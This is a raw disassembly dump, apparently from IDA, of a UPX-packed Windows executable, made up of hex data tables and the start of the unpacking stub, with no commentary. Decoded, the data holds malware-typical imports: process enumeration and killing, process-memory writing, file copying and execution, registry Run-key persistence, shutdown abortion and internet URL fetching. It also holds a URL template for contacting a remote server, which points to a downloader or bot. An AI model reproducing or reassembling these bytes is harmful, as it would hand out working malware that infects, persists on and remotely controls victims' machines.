ds:UPX0, fs:nothing, gs:nothing dword_31426000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:31427BB1o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 74697257h dd 6C694665h, 43010065h, 65736F6Ch, 646E6148h, 100656Ch dd 61657243h, 69466574h, 41656Ch, 74736C01h, 6E656C72h dd 6C010041h, 63727473h, 417461h, 74654701h, 74737953h dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h dd 49656C61h, 416F666Eh, 6C530100h, 706565h, 746E4901h dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 736C0100h dd 70637274h, 416E79h, 74654701h, 72727543h, 50746E65h dd 65636F72h, 1007373h, 50746547h, 41636F72h, 65726464h dd 1007373h, 64616F4Ch, 7262694Ch, 41797261h, 72570100h dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 704F0100h dd 72506E65h, 7365636Fh, 47010073h, 6F4D7465h, 656C7564h dd 646E6148h, 41656Ch, 74654701h, 6B636954h, 6E756F43h dd 43010074h, 74616572h, 74754D65h, 417865h, 65724301h dd 54657461h, 61657268h, 43010064h, 74616572h, 6F725065h dd 73736563h, 53010041h, 76457465h, 746E65h, 65704F01h dd 6576456Eh, 41746Eh, 69784501h, 72685474h, 646165h, 746E4901h dd 6F6C7265h, 64656B63h, 72636E49h, 6E656D65h, 52010074h dd 46646165h, 656C69h, 74654701h, 656C6946h, 657A6953h dd 78450100h, 72507469h, 7365636Fh, 47010073h, 614C7465h dd 72457473h, 726F72h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 72747301h, 726863h, 0E900h dd 11000h, 69460100h, 6957646Eh, 776F646Eh, 47010041h dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 100776Fh dd 57746547h, 6F646E69h, 72685477h, 50646165h, 65636F72h dd 64497373h, 73770100h, 6E697270h, 416674h, 0F400h, 12400h dd 6E490100h, 6E726574h, 704F7465h, 72556E65h, 100416Ch dd 65746E49h, 74656E72h, 6E65704Fh, 49010041h, 7265746Eh dd 4374656Eh, 65736F6Ch, 646E6148h, 100656Ch, 65746E49h dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h dd 49010065h, 7265746Eh, 5274656Eh, 46646165h, 656C69h dd 10000h, 13C00h, 73FF00h, 0FF0002FFh, 1FF000Dh, 39FF00h dd 0FF006FFFh, 17FF0034h, 0CFF00h, 0FF0009FFh, 13FF0004h dd 10FF00h, 0FF0016FFh, 3, 50000000h, 4C000045h, 0DC000201h dd 40DD34h, 0 dd 0E0000000h, 0B010F00h, 601h, 26h, 12h, 34000000h, 23h dd 10h, 40h, 314200h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 60h, 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 34000000h, 8C00002Dh, 15h dup(0) dd 7C000010h, 1, 5 dup(0) dd 2E000000h, 74786574h, 56000000h, 24h, 10h, 26h, 4, 2 dup(0) dd 20000000h, 2EE00400h, 61746164h, 14000000h, 10h, 40h dd 10h, 2Ah, 2 dup(0) dd 40000000h, 0C00000h, 3C000050h, 0C300002Fh, 0A1000054h dd 89254BBEh, 0DB43AA85h, 0AEF070A0h, 92A2047Dh, 4EC00F3Ch dd 27BE81Ch, 8402F26Ah, 47FC7D1Bh, 0F0024A19h, 0A033E402h dd 2164868h, 0D2B735D7h, 0A73D7D03h, 769F6801h, 36E6CCE6h dd 3A4A2064h, 1B5AB7CCh, 0DC87B734h, 6A7684E0h, 96F42A70h dd 0E6C8E38Ch, 5EC86080h, 7A97640Ah, 273E1B25h, 0A2280084h dd 364B003Fh, 3CD9B96Bh, 98B9B26Ch, 0E477BDE2h, 0DC016754h dd 317E500Fh, 0C777C3E4h, 0AC683B0Dh, 0D328C00Dh, 0B138CEDCh dd 0E56F08C9h, 0DB0C7A04h, 0D2484522h, 0DD2DC5F8h, 0D61B212Fh dd 402EDB1Ch, 67012DEh, 4C9039ECh, 40BCF844h, 0C27190D6h dd 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh, 67E9ACF9h dd 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h, 1CF25B07h dd 96F41276h, 899DE9C3h, 940AEF65h, 7BC87C6Ah, 64B1E3C3h dd 0C9BE490Ch, 991DD97Bh, 90E154E4h, 8C9FE924h, 0DCCCC349h dd 0CF78242Eh, 2C8248EDh, 0F864052Ch, 66F4150Ch, 3319A002h dd 8707A23h, 8F895E74h, 0F4C6DD0Eh, 1C51CC5Fh, 80B3EF9Ch dd 7F24E4A1h, 5A435A8h, 0B5D0781Bh, 571282F8h, 5A745737h dd 0ACBF931h, 74F80E14h, 9A0684Bh, 0CA28B753h, 2D3D74CEh dd 67ED85C9h, 0A0412069h, 0FFC55FFh, 35BAB9E8h, 50E49ED7h dd 0E9628ACh, 5B3002F0h, 5547BF4Dh, 8C0009F8h, 681583E4h dd 0F475583Bh, 1887EE42h, 851321C5h, 0A90A508Bh, 0BFF77FB6h dd 3C418B2Fh, 68C10357h, 488B4D30h, 50788B34h, 0A0F44D89h dd 8D7031B4h, 1BDBD84Bh, 0CD5285D8h, 1F0F552h, 0EC7047D2h dd 0EC1265F1h, 0D790ED74h, 9ABD1110h, 0E82636Ch, 5D231409h dd 0F11BE164h, 5051F84Dh, 68971818h, 8B1B1528h, 5DB0892Ah dd 58D1B040h, 6B03CA3Ah, 5E30EB34h, 193B5BB5h, 0F05559ABh dd 52EA037Dh, 45E626B7h, 3151F03Eh, 3DC25350h, 0AC1ED9F1h dd 0D6BDF435h, 3C4FFAFAh, 0D06A1778h, 3BEC5577h, 5F0574C7h dd 589B56B9h, 8CBF1BEBh, 0B9CD2534h, 0E5985CDh, 7EB05FCh dd 0A1EF7408h, 5817D487h, 51515FFCh, 6468512Fh, 310F60B8h dd 0D00D5C69h, 252C8836h, 0B1AFDDB8h, 0AEBAC44Ch, 0FECB213h dd 71C22D59h, 0F9EBA67Bh, 3CBCB66Ah, 35500C80h, 0A82C49DDh dd 2C507D50h, 91165DC0h, 2019852Eh, 0A971437Ch, 8B577F16h dd 0D214247Ch, 0FD177E11h, 8760CFFFh, 61C2801Ah, 461E1488h dd 0E97CF73Bh, 3B2480h, 593575B6h, 448B548Ch, 65A5F2Eh dd 0ACF19D0Ch, 66DB5657h, 0BB622F21h, 0DC73074Bh, 501950F0h dd 4D000056h, 0ACAA25B8h, 0DBC49577h, 4DF0E3DAh, 0FA6849F4h dd 65FFF00Ch, 0C7A326DAh, 0CC343408h, 7B666B2Ah, 754C2EB2h dd 0BC500A0Ah, 0E84F8520h, 54181A5Ch, 7FB807C6h, 5F6B7C3Bh dd 40740180h, 1008B0Ch, 448D5108h, 0B166D824h, 30215F73h dd 5903D311h, 4D3E13BAh, 0CC150724h, 0C82007BBh, 1D0CF1FEh dd 0C8E4332Fh, 10E7C1F8h, 0D9919E6Ch, 0B60B85h, 915D8B02h dd 12351C09h, 4001F333h, 0C2C03AB2h, 0CFC653C4h, 0E3676D5Eh dd 5035F211h, 0B4B06825h, 831C0135h, 33ADE748h, 0B5ECF203h dd 9541F017h, 7568CC35h, 3D986866h, 6C58B7A3h, 0F0446EC6h dd 58FE474Fh, 0B31A54Dh, 0DA141B37h, 0EEBF0354h, 34007C74h dd 0B933A1h, 0BAEDDB79h, 3BC72B7Fh, 8B0272C1h, 292BE1C1h dd 318E8A1h, 0BF8923C7h, 0CCACDCA5h, 1172233Dh, 0A36786Ah dd 40F868CFh, 0E113C4EBh, 5B3D9350h, 0D411778Ch, 5815941Eh dd 68C9BB93h, 68030B40h, 6759973Ch, 3A3CB36Dh, 52535453h dd 8FA311F8h, 9824D083h, 4DB04C2h, 30232C66h, 0B1F70E64h dd 60B0C0B5h, 4EE808D0h, 3A95D0DDh, 6806C8EEh, 1D898068h dd 0EEDB6897h, 7E182784h, 0D4C014ECh, 0DB3000F2h, 539153DAh dd 3A01027Bh, 4D26B51Ah, 0FD7780EBh, 39ACD28Dh, 2F741A4Dh dd 1D59DECDh, 0CA3DC9Eh, 0B6FEA365h, 0A49784C6h, 565153FCh dd 37D83A86h, 6874B623h, 5EF92656h, 0FBE369Ah, 10C25819h dd 56C05E05h, 8499A5E9h, 89E80C4Bh, 0D80DEC5Dh, 53BFB7Dh dd 1FFF25FFh, 0A3C33A04h, 0E77443FCh, 37FA126Fh, 84CC8A1Fh dd 50DF74C9h, 6E42EA6Bh, 5F57C661h, 6465A540h, 0AFA6B0Ch dd 5F7B4499h, 1FD814F8h, 0E8FEB3ABh, 7E689E48h, 624E1520h dd 7B385097h, 0CF53E2EBh, 9043455Fh, 3059875Eh, 3CAE7001h dd 36D0F433h, 11D6B0EBh, 0D6E6023Eh, 0C1E6C342h, 68B4803Ah dd 63A3ABB4h, 0BE608AC0h, 7B7C74E0h, 76336182h, 0E4FBF4A3h dd 4552B73Dh, 767BB37Dh, 640D29E0h, 1BE21904h, 23B26863h dd 9C170D13h, 0EB13EC13h, 7EC6AC86h, 99AE13EDh, 44F83569h dd 0E4093970h, 8F401824h, 4DC3390h, 8C64D24Bh, 0EF609045h dd 391C8E06h, 98589472h, 0A0489C50h, 2391C840h, 0A838A447h dd 1C28AC30h, 0B0E47239h, 0B81CB420h, 9114BC18h, 0C08E4723h dd 0C80CC410h, 0F3E47208h, 0D000CCC8h, 0F8D44DFCh, 8E6DF4D8h dd 0F0DC391Ch, 0E8E4ECE0h, 6CD7E068h, 3704C011h, 0DEA36CD3h dd 0ADB72F1Bh, 8C02FCB0h, 12730983h, 6EDD8C34h, 85414B80h dd 594A8D90h, 0E8EB0CFFh, 9C8709B1h, 5CB40D1Ah, 7E0F991Ah dd 748739A1h, 4DD86839h, 989DA8ABh, 4D373D8Ch, 0F6DC806h dd 0DD26121h, 4659AC0h, 5BB3B724h, 1521C46Bh, 16A20A34h dd 0E41173E3h, 2842276Eh, 0D21E5F9Ah, 0B414AE87h, 1388F818h dd 24E3EB9Ch, 99093C28h, 95AF5A15h, 247031B6h, 0A4806355h dd 1F0AAD7Fh, 8A51AD01h, 6A9E0B45h, 0EC380C1Eh, 52DB32FFh dd 3831CC3Ah, 108FE35Dh, 8825DCDFh, 7D20B5Dh, 35B70FFDh dd 80CF5A0Ch, 0F59A93Fh, 3FEF799h, 0C3FE8ED6h, 0FC65B2EDh dd 72FFFB80h, 62BA5EBDh, 3B265F76h, 6F045981h, 0A0586833h dd 4F43856Dh, 40A8108h, 9DB59B0Ch, 8F0B090Dh, 9B49275h dd 0F758076h, 2C255FF9h, 0D9DADE41h, 84323D89h, 0E7D703FFh dd 43EB50DBh, 9623FB81h, 5D875F9Fh, 13B166BAh, 5A737B4Fh dd 73C196A2h, 2FE665h, 0DBE78B79h, 0FF04FD73h, 7F3CF6FEh dd 0C6C5B688h, 0F50F339Fh, 0F33B088Bh, 3B27AADCh, 0A33E1D8Bh dd 2F9E57A0h, 2259ED57h, 0F8D69C60h, 56E21359h, 0FFC390E2h dd 0EE75B3BBh, 5E1AC8ECh, 271068F2h, 0D3BED3A6h, 1C18099Eh dd 2D70843Ch, 2AD650A9h, 454E6105h, 32F8FC2h, 5C6A2BA6h dd 9DCDF2AAh, 3A4C5E0Fh, 6E030BFCh, 0B0AB60C0h, 103B4E35h dd 0BC025E11h, 42BA275Bh, 80C6096Ch, 0FAE17616h, 6F39DF0Bh dd 57935655h, 57B1019h, 13E6D884h, 8F0D0CC3h, 1F0CA551h dd 0B120DDFDh, 1462F489h, 0BF66153h, 340B7F02h, 38506ADBh dd 52C5D08h, 740096D2h, 0B5E8F1AEh, 1110918h, 3BB00510h dd 141960E1h, 6D84F00h, 103B0E17h, 0BDAAA27Eh, 0D5530D74h dd 203C51C7h, 11106844h, 18244C39h, 37D0DB0Eh, 0ED85ED3Ah dd 4BA5117Eh, 834D2C26h, 14DB0EEDh, 0A20596EFh, 750DF2EBh dd 24B7160Eh, 0FADDEB65h, 2C193F68h, 1B33D170h, 46CE0C96h dd 0A915182Ch, 0E974106Eh, 1408FA10h, 18D9512Fh, 165B1B56h dd 1837FC72h, 3D563EF6h, 0B8C6239h, 412ADC74h, 0C0B6E965h dd 2050D361h, 6C5F1810h, 3089381h, 550F5EAAh, 344AEB8Bh dd 33E1C68Bh, 32C562Eh, 5359D932h, 27005556h, 108B59CBh dd 0C520A25h, 724C5904h, 0AF5D0C20h, 0E418713Ch, 0DE530128h dd 7EDE4E21h, 8E6956E2h dd 1E3C3494h, 794E365Ch, 0D8875F7h, 1D140487h, 0B2582D28h dd 7AA4BBC5h, 0D85A3568h, 3D9A045Eh, 203B10F4h, 813DDF06h dd 7D221DCFh, 1E748D47h, 983F7B01h, 56FCCF40h, 0FF1C1E48h dd 0DEA5E417h, 4545E0B5h, 521F0FFFh, 36666C38h, 46506008h dd 0E6740E1Ch, 89BD766Ah, 36A93CB7h, 0D68681B2h, 4FB0B657h dd 8E47069Ch, 84D4391Ch, 70DC78D8h, 0C8E464E0h, 4CE42391h dd 24EC40E8h, 72398326h, 4F414F0h, 9C4C84B7h, 0BF0B9A2Fh dd 8AF9BE64h, 7E2C742Ch, 0C43D188Bh, 34597B06h, 177572B4h dd 0D354490Eh, 91DC113h, 48833E2Ah, 0A3C9A891h, 88E075BDh dd 0C1361188h, 9746A78h, 317674B4h, 8859FE8Bh, 0BCDE636Ah dd 0F82FA184h, 83227027h, 0C08303E0h, 51705705h, 59CD45E9h dd 230DCAFDh, 1210CFD7h, 0BDCCC33Dh, 26D60713h, 9D3F140Eh dd 0E887B305h, 40A26150h, 0E84D096Fh, 0C63F4120h, 99598B36h dd 41D986D7h, 60D9F424h, 1F4541Bh, 61E812B8h, 8BE007BAh dd 22E7D89Fh, 1FC517D0h, 0A600C748h, 5914310Dh, 21BA1025h dd 0B3BFBF08h, 501D6AE0h, 71DCBFh, 0A03F514Fh, 7403D583h dd 0BB0A3137h, 615FD8A0h, 52D1BEA7h, 8B37F453h, 0BC3D660Dh dd 0B1383D53h, 0EE6BDB3Ah, 0CE590FEBh, 368B632h, 1B0C165Bh dd 16C965E2h, 0C2268DDCh, 3141CC68h, 683A464Eh, 0B9BB66E7h dd 12971A0Dh, 66AF495Eh, 4A4C12C1h, 0DE1219EEh, 0BBC631D8h dd 162CFD3Bh, 0B596C823h, 0A3480710h, 0CF216C5h, 0CD6015EBh dd 1CA65709h, 5D511910h, 43D5F07Dh, 5044330Ch, 856A7D68h dd 138B67BEh, 0CC4011h, 0F23306FFh, 5284CDCh, 0F0F410F8h dd 3DF52351h, 9B51001Bh, 0FBF63F8Dh, 14723BBEh, 2D0BE981h dd 17018504h, 0C82BEC73h, 0D5A0568Bh, 8B0CC4B7h, 0EA088BE1h dd 0C6C653A3h, 6443B646h, 4958055Ch, 0A8A04500h, 51E600C0h dd 6F18054h, 0E296EF02h, 53522497h, 8F803141h, 8DF50101h dd 0FFFF1183h, 5279FFFFh, 3AE42AECh, 9B49E7F6h, 0AFBEE0EAh dd 447EDB21h, 615E1A95h, 1F85A032h, 0FF949F6Ah, 43FF3994h dd 0A684FFFFh, 0CE358F26h, 0C9A55C1Dh, 657AB20Bh, 4D373072h dd 6C697A6Fh, 0FF6B616Ch, 342FFFFFh, 2820302Eh, 706D6F63h dd 62697461h, 203B656Ch, 4549534Dh, 9153620h, 7FFFBA81h dd 646E6957h, 2073776Fh, 3520544Eh, 3429312Eh, 0BE798EE4h dd 0D4007767h, 0B4C40104h, 0E790A00Eh, 80E7BEFBh, 0E680474h dd 9B480958h, 3C9E79ECh, 4530D474h, 0E7C82220h, 4A1026F9h dd 40F80030h, 6FFDB6B7h, 76766313h, 7E75722Eh, 65070077h dd 0C6DFEF64h, 65976CB6h, 65C1660Fh, 72616573h, 370E6863h dd 1F6FFE57h, 6F626F72h, 61686378h, 1FD2676Eh, 7C8D7465h dd 720C6FFBh, 69622E64h, 2861007Ah, 616B6863h, 0BB17376Dh dd 6740CB0h, 24782Dh, 0B76F6C06h, 0E6DB66Dh, 476B3762h dd 7A027626h, 0DFB1852Eh, 1B7674DEh, 706F7411h, 69176E2Eh dd 10ADB00Fh, 332773B0h, 6F0F788Dh, 611FE176h, 746C7564h dd 694B652Dh, 0E1338072h, 6FDB6EDBh, 4E73A66Eh, 67622E74h dd 6B67694Fh, 32580FBFh, 61777800h, 62626A2Ch, 0F676DFADh dd 7A9B006Fh, 0A8616661h, 23655D2Eh, 10FFFE5Ch, 6261AF09h dd 66656463h, 6A696867h, 6E6D6C6Bh, 0DDBF0A1Bh, 0F77271C5h dd 78777675h, 43650E79h, 0F8DFED44h, 474645FFh, 4B4A4948h dd 4F4E4D4Ch, 54545150h, 58575655h, 71B5A59h, 23187FF6h dd 70747468h, 252F2F3Ah, 0DF2F0B73h, 65737E16h, 68702E97h dd 3D0E3F70h, 6373260Fh, 0CF6FED6Eh, 2664066Fh, 76666E69h dd 39313D3Bh, 1526322Dh, 0B948EC1Eh, 0EBA21D74h, 32313D58h dd 7F7D9137h, 3101A8D7h, 3030383Ah, 0DFDF652Fh, 1FFFFB00h dd 5DDFE8B0h, 0B966C933h, 758D01EEh, 8AFE8B05h, 7993C06h dd 6DFFFD06h, 302C0646h, 88993446h, 0EDE24707h, 0DAE80AEBh dd 0FEFFDB7Eh, 6765DF85h, 9993712Eh, 0FD1201C9h, 16FD91BDh dd 0FEEBC107h, 6872FFFDh, 66FD42AAh, 0BA10FDAAh, 98A91C14h dd 98F3C91Ah, 28608F1h, 763FF67Fh, 9010C071h, 9237CB5Fh dd 781C9659h, 57E4143Ah, 7DB77D71h, 3A0A61F2h, 9DF34571h dd 98904F1h, 0DF73A47Fh, 119C04F1h, 0F367B340h, 1C10F0E3h dd 0B1DDBDFEh, 59B20BDCh, 25C99B60h, 414D901h, 0B1F2C8A1h dd 71CA17C7h, 688D2B9Eh, 0ADAD9161h, 1AC2F67Dh, 111D96E2h dd 0C850B228h, 0FDBB9900h, 0DC14EDB3h, 12255557h, 91C0A44Eh dd 0ED994912h, 9FBB54F7h, 1400DBFDh, 0CBCA3AC4h, 0FF1C3B71h dd 1A21E424h, 6D93CDCFh, 8FCDB0F6h, 3F812C66h, 76CDF31Eh dd 0B8B0FBFFh, 12CDC383h, 0CBC9A85Dh, 99AD251Dh, 24B64FECh dd 0A6485A0Bh, 1B14C096h, 3FD9767Eh, 0EBA7294Ch, 0E9BA9CF3h dd 26F43416h, 3FFEEE71h, 0EFCF5FBh, 0EF133BF9h, 376B4629h dd 4766DE5Fh, 0ECA0A8ECh, 16CDFFFDh, 0FFC5B701h, 0E9ECE9EDh dd 0E1FCB7FDh, 7FB7012Ch, 0F5CA21F7h, 0F25AFCFCh, 0FCF7EBFCh dd 0D6ABAAF5h, 0BFEC34C7h, 0AAF9FFFCh, 2A25B459h, 0ACC9662Ah dd 0B7819093h, 83639D90h, 9271CDC9h, 17DD8430h, 3519BFFEh dd 95D91451h, 2A91720Ah, 68EBC871h, 0D21FFFFFh, 80D512A5h dd 0AA529AE1h, 2A8D146Fh, 12B9C89Ah, 474A9A8Bh, 0DFDBFFFFh dd 9BAB9EC3h, 20A319DBh, 0DDA26CECh, 9EED85BDh, 81E8A2DFh dd 125544EBh, 0FFF9A1C8h, 961FBDB7h, 12EB8D2Eh, 5A9A85D8h dd 9A099D12h, 96F8105Ah, 613FF76Dh, 664922D0h, 12FEFD7Fh dd 0C25AA987h, 680C0295h, 1285EDDBh, 5A910482h, 7FCFF7CBh dd 0FF372139h, 4D53FF85h, 53187242h, 0FCFEFFC8h, 62FE97FFh dd 43500200h, 57544583h, 204B524Fh, 474F5250h, 204D4152h dd 7DAC5231h, 4C17CD6Bh, 24D4E41h, 56EBAB0Ah, 15661D6Ah dd 676B03B7h, 0D2DD6EBBh, 0E707576h, 27611A33h, 5832234Dh dd 96C3E54Ch, 32323221h, 79D6312Eh, 18DA6B06h, 8B323C20h dd 50BB73A4h, 2207192Bh, 5123FF0Ch, 7D8363h, 140A1104h dd 0FD40520h, 0A0BB5BD1h, 4B4C0069h, 0B7505353h, 923DBF97h dd 0E00882E0h, 2400574Ah, 64006Eh, 0EE6D8B6Fh, 73007502h dd 130743Ah, 0D912DB09h, 398CDBh, 2E1D2335h, 0D913907h dd 0ABDA0098h, 49922008h, 57DAE406h, 6760D89Fh, 0F2000370h dd 7472346h, 3203C8DCh, 6000640h, 237F0110h, 151FFFFAh dd 48E0888Ah, 44004F00h, 7A6A19FEh, 6F49E4F2h, 1CFFB022h dd 2530AF28h, 53671074h, 0D7DF5CE1h, 7590A796h, 5C040030h dd 0BAEEBD07h, 85A35D7h, 2E4D615Ch, 38003607h, 46C6EDB1h dd 1B30772Eh, 43EC0049h, 336761CFh, 633F00E8h, 2DBFA264h dd 0DC08201Fh, 0FF164004h, 0DEDE00h, 0E41EC242h, 9F16000Eh dd 40260201h, 6137EFB8h, 11031928h, 97D96C8Bh, 7468D835h dd 2A9B70D3h, 852DB69Ch, 9F256B7Ch, 0EB480E10h, 47B03BAh dd 5413541Bh, 3F63265Ah, 59ADB9F7h, 0CBC75C22h, 5876545h dd 907BD800h, 10030BE6h, 0B810B848h, 0FD8F0B0Eh, 6A05BFFFh dd 0C391928h, 9B11D0B1h, 4FC000A8h, 5FF52ED9h, 0F68A885Dh dd 0EBFC2FB2h, 9F11C91Ch, 102B3CE8h, 0CD16048h, 92BCA3F4h dd 0A06045CFh, 470CA00Ch, 0B1879006h, 0CA0000Ch, 277FDF24h dd 9004088h, 703EC00h, 8F60D900h, 401495F0h, 40707C4Fh dd 1F0700BFh, 4314BD91h, 13857813h, 0F84F3C81h, 0A65BAB00h dd 0F81013E9h, 0E31A8B2Fh dd 0EFEFF39h, 4FBE4023h, 806183Ah, 0B9438884h, 7C9E4F10h dd 1FFEEBAh, 200C10B8h, 3E420DADh, 7F0726CCh, 0E4AFD80Fh dd 118BCB3h, 840F8470h, 0F200DF0Fh, 0F9521h, 0F0847F02h dd 0F93C9B0h, 9A000F6Ch, 5BD911A8h, 13436F95h, 8127F958h dd 586E691Fh, 72502050h, 0DB679000h, 1444614h, 906B3239h dd 3C89F927h, 2751512h, 43005341h, 1C81AF64h, 7FEB0194h dd 695FFF3h, 255C5CC6h, 70695C73h, 81662463h, 0FF071CECh dd 2EA6A3E4h, 655300FFh, 75626544h, 85766967h, 0FD93A767h dd 64411F46h, 5461756Ah, 6E656B6Fh, 93FB7317h, 6F4C36DCh dd 56707512h, 65756C61h, 0B1A91741h, 704FB7EDh, 24636F28h dd 43003473h, 1D4B062Ah, 333F6176h, 6CE0AFE3h, 6D4C7954h dd 7F12BAF9h, 5F1565A3h, 79617254h, 430F3957h, 0A5B6A5B7h dd 521E6135h, 54056F6Ch, 0AA546B68h, 56140C73h, 6D5CDF77h dd 416D6EA6h, 78455328h, 8D6E3E7Bh, 35ACF4BEh, 22F3F54Bh dd 50545448h, 0E25FBD83h, 32204012h, 4B4F205Bh, 6D010A0Dh dd 4BEA56B7h, 2D0244A3h, 4B67044Ch, 315BECD9h, 7525203Ah dd 56282F18h, 540F6B5Bh, 0A726B979h, 0AB518A70h, 8763D4CDh dd 0D6062F15h, 0CBD53DCAh, 0CD72972Dh, 546B57A3h, 4473168h dd 0FFFAF82Fh, 6468F74Ah, 8D73CFE9h, 6376736Dh, 68596A71h dd 6977CFA9h, 0FBEC5DF5h, 5F32076Eh, 78EB7517h, 36380307h dd 3734D34Dh, 33343536h, 3A69A569h, 307CBF7h, 20303132h dd 39BB3B9Fh, 3D003833h, 0C833707h, 3536C832h, 320E3334h dd 313220C8h, 0A56B7830h, 3AF7A426h, 0D8BBD9D0h, 533FFE5Eh dd 5754464Fh, 5C455241h, 736F694Dh, 0D85CD76Fh, 0C3B07E1Ah dd 7275435Ch, 0DC561572h, 885C573h, 525C0A6Fh, 239F6E75h dd 0DA146F74h, 24D6A16Dh, 53203068h, 0ED87FB1Bh, 3FE728FFh dd 64736E67h, 2B796A72h, 1980265h, 530064DCh, 155F0A51h dd 0E4B619Ah, 664B4D6Ch, 0CD899087h, 0C549235Fh, 2F05538h dd 0FF540A18h, 43205317h, 0DDA3EE5h, 76206762h, 58763FD5h dd 6DECD96Ch, 23B53284h, 165B1B7Ch, 471A17B2h, 1F8D1723h dd 931299BFh, 707379h, 0D62D6342h, 0C3208D1Ah, 1B132361h dd 0ED6D80C0h, 9752206Dh, 443772DDh, 2D2DBB9Eh, 661220E4h dd 0AC6D672Fh, 6C2FF62Ah, 632463C9h, 79746922h, 6E614D20h dd 16C8051Eh, 31BC1AB9h, 146B0A8Ah, 0A24E2370h, 1BBC4ABh dd 6488F6E8h, 6572463Fh, 0DF50C65h, 0FC01B8A5h, 4D746547h dd 4665876Fh, 97F0066Bh, 6D614EE2h, 736C0168h, 95637274h dd 0BBDEE05Bh, 706F430Ah, 9D0A1979h, 291F1445h, 326578DCh dd 6F6F544Ah, 0FDA2936Ch, 337063BFh, 616E5332h, 6F687370h dd 2B9C1974h, 126B7745h, 0F737232h, 3E358F54h, 2C5CC160h dd 654E2118h, 87887478h, 6169C16Dh, 76455441h, 57FF6DBDh dd 69616B0Bh, 726F4674h, 7B673C53h, 0B06A624Fh, 76AE8856h dd 22DD442Ch, 6E6FEF8Dh, 0B6972F6h, 6573C83Ah, 646E6148h dd 25EDB00Ch, 5E24477Bh, 6DD26E08h, 61EF7084h, 4493F05Ah dd 6CEDB7A3h, 79645673h, 61984C14h, 866E492Bh, 66DD6ED8h dd 9530F6Fh, 49067065h, 0E02CD998h, 656B260Dh, 0B3284564h dd 36623364h, 0E0CC366Eh, 0B9FEC447h, 64410B12h, 70F7264h dd 7DECD836h, 7262694Ch, 2BB56761h, 0B2C2824Dh, 137CB9A2h dd 9ED08ED5h, 63CF02CDh, 0B6816954h, 88B6B0E2h, 4DDE6575h dd 66CD78E9h, 0CE341245h, 0F684590Dh, 39C45D86h, 0ACD8624Fh dd 455A843Ch, 0B8DF3178h, 0A4B6DB1h, 2D6D1363h, 85D91B52h dd 7B5926E7h, 657A8608h, 38216D38h, 154CA7B0h, 0CDDFC45h dd 60C368D8h, 673A2BD1h, 67E77390h, 79654BA1h, 0B0861045h dd 0C13B0ED6h, 0F60A510Fh, 0B0109B11h, 0E7309E97h, 61DEDD21h dd 51E01016h, 2962410Ch, 6EA1070Ah, 46853BEh, 8AF6612Dh dd 773B8643h, 0B05F6D36h, 0A108946h, 8E611244h, 0E98AEEDh dd 7966696Eh, 0DB8F67CAh, 75B586D0h, 0CE6C362Bh, 0DC2C796Fh dd 11D85BD9h, 8F52106Fh, 8D40E3Dh, 1DB4CC0Eh, 148FE436h dd 75716341h, 494D7269h, 2B9C1669h, 133AA035h, 0B473ECDEh dd 7273F0CDh, 0B26D06CAh, 5AE60E35h, 0F92862Ch, 1D1D4D53h dd 5F76856Eh, 5F3F5844h, 7311F668h, 27F502B1h, 982B0702h dd 7279B6CDh, 110E94Fh, 334D2291h, 1D294562h, 0D8B6527h dd 150E0073h, 41BB0A14h, 0B4E73098h, 73776649h, 856ED9A7h dd 66B10570h, 24F44F41h, 18A0D0F6h, 55855604h, 5B01489Bh dd 0E1141D8h, 0DC1A967h, 36B144Bh, 9963496Eh, 534386E1h dd 471A8174h, 2543AA3Bh, 73FFA10Dh, 6CB2CB2Ch, 10D0202h dd 2CB26F39h, 1734B2CBh, 9304090Ch, 13CB2CAAh, 0F9361610h dd 50D16AADh, 0DC960E45h, 40DD34h, 3FED9A00h, 10F00E0h dd 0C06010Bh, 83B11226h, 34DC472Ch, 31421023h, 0C966E90Bh dd 74A02A8h, 0EC0D600Ch, 341E2DCCh, 58840710h, 570692CEh dd 2B098C2Dh, 6420176Ch, 831E017Ch, 2E8C516Dh, 9024A26Ah dd 60241F26h, 49FC460h, 0F6642EE0h, 0E11ED90Dh, 2A0714FBh dd 0E850D227h, 48C01616h, 2F81h, 54C3F800h, 24000000h dd 0FF0000h, 2 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset dword_31426000 lea edi, [esi-5000h] push edi or 